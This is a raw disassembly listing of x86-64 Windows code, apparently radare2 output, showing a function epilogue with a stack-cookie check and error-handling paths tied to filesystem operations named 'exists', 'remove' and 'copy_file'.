mov qword [rsp + 0x2660], 0xf
mov byte [rsp + 0x2648], 0
mov rdx, qword [rsp + 0x2880]
cmp rdx, 0xf
jbe 0x14002e1e2
inc rdx
mov rcx, qword [rsp + 0x2868]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e1dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e404
call fcn.14025e770
mov qword [rsp + 0x2878], r14
mov qword [rsp + 0x2880], 0xf
mov byte [rsp + 0x2868], 0
lea rcx, [rsp + 0x2968]
call fcn.140040d10
mov rax, qword [rsp + 0x2968]
jmp 0x140026b60
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
mov rcx, qword [rsp + 0x3d78]
xor rcx, rsp
call fcn.14025e750
lea r11, [rsp + 0x3d80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.1400034c0
nop
call fcn.14027aed0
nop
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x25e0]
lea rcx, str.exists
call fcn.140008ae0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.1400034c0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
lea r8, [rsp + 0xc8]
mov edx, eax
lea rcx, str.remove
call fcn.1400089f0
nop
lea r8, [rsp + 0x220]
lea rdx, [rsp + 0x25e0]
lea rcx, str.exists
call fcn.140008ae0
nop
lea r8, [rsp + 0x200]
lea rdx, [rsp + 0x25e0]
lea rcx, str.exists
call fcn.140008ae0
nop
lea r9, [rsp + 0x88]
lea r8, [rsp + 0xa8]
lea rcx, str.copy_file
call fcn.140008a60
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
int3